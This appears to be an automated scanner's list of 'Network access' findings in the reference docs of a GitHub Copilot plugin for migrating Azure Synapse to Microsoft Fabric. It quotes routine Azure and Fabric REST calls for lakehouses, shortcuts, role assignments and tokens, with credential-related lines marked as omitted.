    [Credential-related source omitted]
  • Network accessline 298
    [Credential-related source omitted]

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/external-hms-migration.md

  • Network accessline 8
    > > **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection)
  • Network accessline 9
    > **Auth tokens needed** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for commands): > - Synapse ARM audience: `https://management.azure.com` (for detection) > - HMS database: JDBC cred
  • Network accessline 10
    > - Synapse ARM audience: `https://management.azure.com` (for detection)
  • Network accessline 12
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 39
    GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}/bigDataPools/{poolName}?api-version=2021-06-01
  • Network accessline 283
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items`
  • Network accessline 340
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 349
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 354
    **Endpoint**: `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{lakehouseId}/shortcuts`
  • Network accessline 363
    "type": "AdlsGen2",     "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 364
    "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",       "subpath": "/{container}/{path/to/table}",
  • Network accessline 365
    "location": "https://{storageAccount}.dfs.core.windows.net",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/lake-database-migration.md

  • Network accessline 9
    > **Prerequisite**: Authenticate to both Synapse and Fabric APIs before starting (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)). > - Synapse data-plane audience: `https://dev.azuresynaps
  • Network accessline 10
    > - Synapse data-plane audience: `https://dev.azuresynapse.net`
  • Network accessline 11
    > - Fabric audience: `https://api.fabric.microsoft.com`
  • Network accessline 41
    GET https://{workspaceName}.dev.azuresynapse.net/databases?api-version=2021-04-01
  • Network accessline 235
    resp = requests.post(f"{FABRIC_BASE}/workspaces/{ws_id}/items", headers=fab_headers, json=payload)
  • Network accessline 236
    if resp.status_code == 409:     # Lakehouse already exists — look it up by name and reuse     items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json()
  • Network accessline 237
    # Lakehouse already exists — look it up by name and reuse     items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json()     existing = next((i for i in items.get("value", []) if i["displayNam
  • Network accessline 238
    items = requests.get(f"{FABRIC_BASE}/workspaces/{ws_id}/items?type=Lakehouse", headers=fab_headers).json()
  • Network accessline 325
    # Step 1: Get storage account key via ARM arm_url = (     f"https://management.azure.com/subscriptions/{subscription_id}"
  • Network accessline 326
    arm_url = (     f"https://management.azure.com/subscriptions/{subscription_id}"     f"/resourceGroups/{resource_group}"
  • Network accessline 327
    f"https://management.azure.com/subscriptions/{subscription_id}"
  • Network accessline 330
    f"/listKeys?api-version=2023-05-01" ) key_resp = requests.post(arm_url, headers=arm_headers)
  • Network accessline 332
    key_resp = requests.post(arm_url, headers=arm_headers)
  • Network accessline 343
    "creationMethod": "AzureDataLakeStorage",             "parameters": [                 {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 344
    "parameters": [                 {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},                 {"dataType": "Text", "name": "path", "value": f"/{container}"}
  • Network accessline 345
    {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 358
    }     }     conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections",
  • Network accessline 359
    }     conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections",                               headers=fab_headers, json=create_conn)
  • Network accessline 360
    conn_resp = requests.post("https://api.fabric.microsoft.com/v1/connections",
  • Network accessline 378
    "creationMethod": "AzureDataLakeStorage",         "parameters": [             {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 379
    "parameters": [             {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},             {"dataType": "Text", "name": "path", "value": f"/{container}"}
  • Network accessline 380
    {"dataType": "Text", "name": "server", "value": f"https://{storage_account_name}.dfs.core.windows.net"},
  • Network accessline 408
    1. Open Fabric Portal → Settings → Manage connections and gateways    https://app.fabric.microsoft.com/connections
  • Network accessline 409
    https://app.fabric.microsoft.com/connections
  • Network accessline 410
    (MSIT: https://msit.powerbi.com/connections)
  • Network accessline 411
    2. Click '+ New' → Cloud → Azure Data Lake Storage Gen2 3. Server: https://{storageAccount}.dfs.core.windows.net    Path: /{container}
  • Network accessline 412
    3. Server: https://{storageAccount}.dfs.core.windows.net
  • Network accessline 417
    Documentation: https://learn.microsoft.com/fabric/data-engineering/lakehouse-shortcuts#create-a-shortcut
  • Network accessline 458
    "type": "AdlsGen2",     "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 459
    "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",       "subpath": "/{container}/{path/to/table}",
  • Network accessline 460
    "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 476
    Split this into: - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 477
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 484
    Split into: - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 485
    - `location`: `https://{storage}.dfs.core.windows.net`
  • Network accessline 514
    "type": "AdlsGen2",     "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",
  • Network accessline 515
    "adlsGen2": {       "location": "https://{storageAccount}.dfs.core.windows.net",       "subpath": "/{container}/synapse/workspaces/{workspace}/warehouse/{database}",
  • Network accessline 516
    "location": "https://{storageAccount}.dfs.core.windows.net",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/library-compatibility.md

  • Network accessline 21
    > **Reference manifests**: For a full line-by-line comparison of every built-in library, see the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime) GitHub repo. Compare `Fabric/Runtime 1.3` vs `Synapse/spa

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-gotchas.md

  • Network accessline 36
    [Credential-related source omitted]
  • Network accessline 38
    [Credential-related source omitted]

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-orchestrator.md

  • Network accessline 24
    > **URL parsing**: If the user provides a Synapse Studio URL, extract all three values from the embedded ARM path: > `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.
  • Network accessline 25
    > `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`
  • Network accessline 30
    | Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 31
    |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → filter by `displayName` |
  • Network accessline 32
    | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` |
  • Network accessline 145
    > **Token audiences** (see [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) for base `az login` flows): > - ARM: `https://management.azure.com`
  • Network accessline 146
    > - ARM: `https://management.azure.com`
  • Network accessline 147
    > - Synapse data-plane: `https://dev.azuresynapse.net`
  • Network accessline 148
    > - Fabric: `https://api.fabric.microsoft.com`
  • Network accessline 176
    def refresh_all(self):         self.arm = get_token("https://management.azure.com")
  • Network accessline 177
    self.arm = get_token("https://management.azure.com")
  • Network accessline 178
    self.synapse = get_token("https://dev.azuresynapse.net")
  • Network accessline 179
    self.fabric = get_token("https://api.fabric.microsoft.com")
  • Network accessline 202
    > **Usage pattern**: After every Fabric/Synapse API call, check for 401 and retry once: > ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload)
  • Network accessline 203
    > ```python > resp = requests.post(url, headers=tokens.fab_headers, json=payload) > if tokens.refresh_if_needed(resp):
  • Network accessline 204
    > resp = requests.post(url, headers=tokens.fab_headers, json=payload)
  • Network accessline 205
    > if tokens.refresh_if_needed(resp): >     resp = requests.post(url, headers=tokens.fab_headers, json=payload) > ```
  • Network accessline 206
    >     resp = requests.post(url, headers=tokens.fab_headers, json=payload)
  • Network accessline 212
    # Verify Synapse ARM access resp = requests.get(
  • Network accessline 213
    resp = requests.get(
  • Network accessline 214
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 220
    # Verify Synapse data-plane access resp = requests.get(
  • Network accessline 221
    resp = requests.get(
  • Network accessline 222
    f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01",
  • Network accessline 227
    # Resolve Fabric workspace ID resp = requests.get(
  • Network accessline 228
    resp = requests.get(
  • Network accessline 229
    "https://api.fabric.microsoft.com/v1/workspaces",
  • Network accessline 245
    def existing_items_map(item_type):     """Get map of displayName → id for existing items. Used to skip duplicates on resume."""     resp = requests.get(
  • Network accessline 246
    """Get map of displayName → id for existing items. Used to skip duplicates on resume."""     resp = requests.get(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 247
    resp = requests.get(
  • Network accessline 248
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 250
    )     if tokens.refresh_if_needed(resp):         resp = requests.get(
  • Network accessline 251
    if tokens.refresh_if_needed(resp):         resp = requests.get(             f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 252
    resp = requests.get(
  • Network accessline 253
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type={item_type}",
  • Network accessline 287
    pools_resp = requests.get(
  • Network accessline 288
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 311
    dbs_resp = requests.get(
  • Network accessline 312
    f"https://{ws_name}.dev.azuresynapse.net/databases?api-version=2021-04-01",
  • Network accessline 323
    for db in databases:     db_name = db["name"]     tables_resp = requests.get(
  • Network accessline 324
    db_name = db["name"]     tables_resp = requests.get(         f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01",
  • Network accessline 325
    tables_resp = requests.get(
  • Network accessline 326
    f"https://{ws_name}.dev.azuresynapse.net/databases/{db_name}/TABLEs?api-version=2021-04-01",
  • Network accessline 335
    notebooks_resp = requests.get(
  • Network accessline 336
    f"https://{ws_name}.dev.azuresynapse.net/notebooks?api-version=2020-12-01",
  • Network accessline 340
    # Handle pagination while "nextLink" in notebooks_resp.json():     notebooks_resp = requests.get(notebooks_resp.json()["nextLink"],
  • Network accessline 341
    while "nextLink" in notebooks_resp.json():     notebooks_resp = requests.get(notebooks_resp.json()["nextLink"],                                   headers=tokens.syn_headers)
  • Network accessline 342
    notebooks_resp = requests.get(notebooks_resp.json()["nextLink"],
  • Network accessline 350
    sjds_resp = requests.get(
  • Network accessline 351
    f"https://{ws_name}.dev.azuresynapse.net/sparkJobDefinitions?api-version=2020-12-01",
  • Network accessline 426
    After POST /environments → 201, the updateDefinition endpoint may return 404     for a few seconds while the Environment is provisioned."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"
  • Network accessline 427
    for a few seconds while the Environment is provisioned."""     url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"            f"/environments/{env_id}/updateDefinition")
  • Network accessline 428
    url = (f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}"
  • Network accessline 429
    f"/environments/{env_id}/updateDefinition")     for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 430
    for attempt in range(1, max_retries + 1):         resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)         if resp.status_code == 401:
  • Network accessline 431
    resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 432
    if resp.status_code == 401:             tokens.refresh_if_needed(resp)             resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 433
    tokens.refresh_if_needed(resp)             resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)             return resp
  • Network accessline 434
    resp = requests.post(url, headers=tokens.fab_headers, json=definition_payload)
  • Network accessline 454
    continue     env_id = mapping["fabricEnvironmentId"]     resp = requests.get(
  • Network accessline 455
    env_id = mapping["fabricEnvironmentId"]     resp = requests.get(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}",
  • Network accessline 456
    resp = requests.get(
  • Network accessline 457
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/environments/{env_id}",
  • Network accessline 630
    "type": "AdlsGen2",             "adlsGen2": {                 "location": f"https://{account}.dfs.core.windows.net",
  • Network accessline 631
    "adlsGen2": {                 "location": f"https://{account}.dfs.core.windows.net",                 "subpath": f"/{container}",
  • Network accessline 632
    "location": f"https://{account}.dfs.core.windows.net",
  • Network accessline 636
    }     }     resp = requests.post(
  • Network accessline 637
    }     resp = requests.post(         f"{BASE_URL}/workspaces/{fabric_ws_id}/items/{lakehouse_id}/shortcuts",
  • Network accessline 638
    resp = requests.post(
  • Network accessline 834
    for nb_name, mapping in notebook_mappings.items():     nb_id = mapping["fabricNotebookId"]     resp = requests.post(
  • Network accessline 835
    nb_id = mapping["fabricNotebookId"]     resp = requests.post(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 836
    resp = requests.post(
  • Network accessline 837
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 892
    for sjd_name, mapping in sjd_mappings.items():     sjd_id = mapping["fabricSjdId"]     resp = requests.post(
  • Network accessline 893
    sjd_id = mapping["fabricSjdId"]     resp = requests.post(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 894
    resp = requests.post(
  • Network accessline 895
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 992
    PORTAL_URL = "https://app.fabric.microsoft.com"
  • Network accessline 993
    FAB_BASE = "https://api.fabric.microsoft.com/v1"
  • Network accessline 1001
    items = []     while url:         resp = requests.get(url, headers=headers)
  • Network accessline 1002
    while url:         resp = requests.get(url, headers=headers)         resp.raise_for_status()
  • Network accessline 1003
    resp = requests.get(url, headers=headers)
  • Network accessline 1379
    [Credential-related source omitted]
  • Network accessline 1455
    for item in deletion_plan:         resp = requests.delete(
  • Network accessline 1456
    resp = requests.delete(
  • Network accessline 1457
    f"https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items/{item['itemId']}",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/migration-report.md

  • Network accessline 9
    All Fabric portal links use base URL `https://app.fabric.microsoft.com`.
  • Network accessline 14
    https://app.fabric.microsoft.com/groups/{workspaceId}
  • Network accessline 19
    | Item Type | Portal URL | |---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` |
  • Network accessline 20
    |---|---| | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` | | **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` |
  • Network accessline 21
    | **Lakehouse** | `https://app.fabric.microsoft.com/groups/{workspaceId}/lakehouses/{itemId}` |
  • Network accessline 22
    | **Notebook** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/notebooks/{itemId}` |
  • Network accessline 23
    | **Spark Job Definition** | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapse/sparkjobdefinitions/{itemId}` |
  • Network accessline 24
    | **Environment** | `https://app.fabric.microsoft.com/groups/{workspaceId}/environments/{itemId}` |
  • Network accessline 49
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items?type={itemType}
  • Network accessline 64
    [Credential-related source omitted]
  • Network accessline 65
    [Credential-related source omitted]
  • Network accessline 69
    BASE_URL = "https://api.fabric.microsoft.com/v1"
  • Network accessline 70
    PORTAL_URL = "https://app.fabric.microsoft.com"
  • Network accessline 78
    items = []     while url:         resp = requests.get(url, headers=headers)
  • Network accessline 79
    while url:         resp = requests.get(url, headers=headers)         resp.raise_for_status()
  • Network accessline 80
    resp = requests.get(url, headers=headers)
  • Network accessline 291
    **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/a1b2c3d4-e5f6-7890-abcd-ef1234567890)
  • Network accessline 296
    | # | Environment Name | Fabric Link | Description | |---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool |
  • Network accessline 297
    |---|---|---|---| | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool | | 2 | `MLPool_env` | [Open in Fabric](https://app.fabric.
  • Network accessline 298
    | 1 | `ETLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/5b218778-...) | Migrated from Synapse Spark pool: ETLPool |
  • Network accessline 299
    | 2 | `MLPool_env` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../environments/c3d4e5f6-...) | Migrated from Synapse Spark pool: MLPool |
  • Network accessline 306
    | # | Lakehouse Name | Fabric Link | Description | |---|---|---|---| | 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db |
  • Network accessline 308
    | 1 | `SilverLakehouse` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../lakehouses/7890abcd-...) | Migrated from Synapse lake database: silver_db |
  • Network accessline 327
    | # | Notebook Name | Fabric Link | Description | |---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | |
  • Network accessline 328
    |---|---|---|---| | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | | | 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4
  • Network accessline 329
    | 1 | `bronze_ingest` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/1234abcd-...) | |
  • Network accessline 330
    | 2 | `silver_transform` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/5678efgh-...) | |
  • Network accessline 331
    | 3 | `gold_aggregate` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/notebooks/9012ijkl-...) | |
  • Network accessline 338
    | # | SJD Name | Fabric Link | Description | |---|---|---|---| | 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | |
  • Network accessline 340
    | 1 | `daily_etl_job` | [Open in Fabric](https://app.fabric.microsoft.com/groups/a1b2c3d4-.../synapse/sparkjobdefinitions/mnop3456-...) | |
  • Network accessline 385
    "fabric_id": fabric_item["id"],         "fabric_type": fabric_item["type"],         "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}",
  • Network accessline 386
    "fabric_type": fabric_item["type"],         "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}",         "status": status,
  • Network accessline 387
    "fabric_url": f"https://app.fabric.microsoft.com/groups/{WORKSPACE_ID}/{_type_path(fabric_item)}",
  • Network accessline 426
    | Item Type | Synapse Studio URL Pattern | |---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{w
  • Network accessline 427
    |---|---| | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` | | **SJD** | `https://web.azuresynapse
  • Network accessline 428
    | **Notebook** | `https://web.azuresynapse.net/en/authoring/analyze/notebooks/{notebookName}?workspace=/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}` |
  • Network accessline 429
    | **SJD** | `https://web.azuresynapse.net/en/authoring/analyze/sparkJobDefinitions/{sjdName}?workspace=...` |
  • Network accessline 430
    | **Spark Pool** | `https://web.azuresynapse.net/en/management/sparkPools/{poolName}?workspace=...` |
  • Network accessline 431
    | **Lake Database** | `https://web.azuresynapse.net/en/authoring/analyze/databases/{dbName}?workspace=...` |
  • Network accessline 434
    def synapse_item_url(item_type, item_name, sub_id, rg, ws_name):     """Build a Synapse Studio URL for the source item."""     base = "https://web.azuresynapse.net/en"
  • Network accessline 435
    """Build a Synapse Studio URL for the source item."""     base = "https://web.azuresynapse.net/en"     ws_path = f"/subscriptions/{sub_id}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws_name}"
  • Network accessline 436
    base = "https://web.azuresynapse.net/en"
  • Network accessline 450
    | Synapse Item | Fabric Item | Status | |---|---|---| | [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated |
  • Network accessline 452
    | [bronze_ingest (Synapse)](https://web.azuresynapse.net/en/authoring/...) | [bronze_ingest (Fabric)](https://app.fabric.microsoft.com/groups/.../synapse/notebooks/...) | ✅ Migrated |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration/resources/security-governance.md

  • Network accessline 54
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/assignWorkspaceIdentity
  • Network accessline 65
    - [ ] Register all service principals used by notebooks/SJDs in the Fabric workspace - [ ] Verify no notebooks rely on SQL auth — convert to Entra if found - [ ] Test token acquisition: `notebookutils.credentials.getToken("https://managemen
  • Network accessline 67
    - [ ] Test token acquisition: `notebookutils.credentials.getToken("https://management.azure.com")`
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 78
    resp = requests.post(
  • Network accessline 79
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/assignWorkspaceIdentity",
  • Network accessline 96
    [Credential-related source omitted]
  • Network accessline 98
    # List Linked Services via Synapse data-plane API resp = requests.get(
  • Network accessline 99
    resp = requests.get(
  • Network accessline 100
    f"https://{ws_name}.dev.azuresynapse.net/linkedservices"
  • Network accessline 125
    # List all Lakehouses in the target workspace resp = requests.get(
  • Network accessline 126
    resp = requests.get(
  • Network accessline 127
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/items?type=Lakehouse",
  • Network accessline 133
    lh_id = lh["id"]     # List shortcuts for this Lakehouse     sc_resp = requests.get(
  • Network accessline 134
    # List shortcuts for this Lakehouse     sc_resp = requests.get(         f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 135
    sc_resp = requests.get(
  • Network accessline 136
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}"
  • Network accessline 166
    # Get the Fabric Workspace Identity's service principal ID ws_resp = requests.get(
  • Network accessline 167
    ws_resp = requests.get(
  • Network accessline 168
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}",
  • Network accessline 185
    resp = requests.put(
  • Network accessline 186
    f"https://management.azure.com{storage_scope}"
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 249
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 289
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments
  • Network accessline 296
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments
  • Network accessline 315
    PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId}
  • Network accessline 326
    DELETE https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/roleAssignments/{roleAssignmentId}
  • Network accessline 338
    [Credential-related source omitted]
  • Network accessline 344
    # List all role assignments on the Synapse workspace resp = requests.get(
  • Network accessline 345
    resp = requests.get(
  • Network accessline 346
    f"https://management.azure.com{synapse_scope}"
  • Network accessline 365
    # Note: Synapse Studio RBAC roles (Apache Spark Administrator, Synapse SQL Administrator, # Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT
  • Network accessline 366
    # Linked Data Manager, Credential User) are managed via the Synapse RBAC API at # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM # roleAssignments. The mapping below covers Azure RBAC roles only.
  • Network accessline 367
    # https://{ws}.dev.azuresynapse.net/rbac/roleAssignments — they do NOT appear in ARM
  • Network accessline 394
    # Note: Synapse Studio RBAC roles (Apache Spark Administrator, Linked Data Manager, # Credential User) are not exported via ARM. If needed, query the Synapse RBAC API # at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately.
  • Network accessline 396
    # at https://{ws}.dev.azuresynapse.net/rbac/roleAssignments separately.
  • Network accessline 443
    [Credential-related source omitted]
  • Network accessline 458
    for pid, entry in principal_roles.items():     resp = requests.post(
  • Network accessline 459
    resp = requests.post(
  • Network accessline 460
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 477
    # Assignment already exists — update instead         # First, list existing to get the roleAssignmentId         existing = requests.get(
  • Network accessline 478
    # First, list existing to get the roleAssignmentId         existing = requests.get(             f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 479
    existing = requests.get(
  • Network accessline 480
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 483
    match = next((a for a in existing if a["principal"]["id"] == pid), None)         if match:             requests.patch(
  • Network accessline 484
    if match:             requests.patch(                 f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}",
  • Network accessline 485
    requests.patch(
  • Network accessline 486
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments/{match['id']}",
  • Network accessline 509
    # List all Fabric role assignments and compare resp = requests.get(
  • Network accessline 510
    resp = requests.get(
  • Network accessline 511
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}/roleAssignments",
  • Network accessline 558
    PUT https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.KeyVault/vaults/{vaultName}/providers/Microsoft.Authorization/roleAssignments/{assignmentId}?api-version=2022-04-01
  • Network accessline 638
    for vault_url in vault_secrets:     # Extract vault name from URL: https://myvault.vault.azure.net → myvault
  • Network accessline 639
    # Extract vault name from URL: https://myvault.vault.azure.net → myvault
  • Network accessline 642
    # Resolve the vault's resource ID via ARM (try known resource group first, then search)     resp = requests.get(
  • Network accessline 643
    resp = requests.get(
  • Network accessline 644
    f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}"
  • Network accessline 651
    else:         # Search across all resource groups         search_resp = requests.get(
  • Network accessline 652
    # Search across all resource groups         search_resp = requests.get(             f"https://management.azure.com/subscriptions/{sub_id}"
  • Network accessline 653
    search_resp = requests.get(
  • Network accessline 654
    f"https://management.azure.com/subscriptions/{sub_id}"
  • Network accessline 675
    # Get Workspace Identity service principal ID (from S1 Step 4) ws_resp = requests.get(
  • Network accessline 676
    ws_resp = requests.get(
  • Network accessline 677
    f"https://api.fabric.microsoft.com/v1/workspaces/{fabric_ws_id}",
  • Network accessline 690
    resp = requests.put(
  • Network accessline 691
    f"https://management.azure.com{vault_resource_id}"
  • Network accessline 756
    PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId}
  • Network accessline 774
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{itemId}/endorse
  • Network accessline 793
    > **Scope**: OneLake RBAC applies to the **Tables/** and **Files/** sections of a Lakehouse. By default, all workspace members can read all data. OneLake RBAC **restricts** access — it's a deny-by-default model once enabled. > > **Automatio
  • Network accessline 794
    > > **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles: > - 
  • Network accessline 795
    > **Automation note**: OneLake RBAC now has a **public REST API** — [`OneLake Data Access Security`](https://learn.microsoft.com/en-us/rest/api/fabric/core/onelake-data-access-security) provides CRUD operations for data access roles:
  • Network accessline 1084
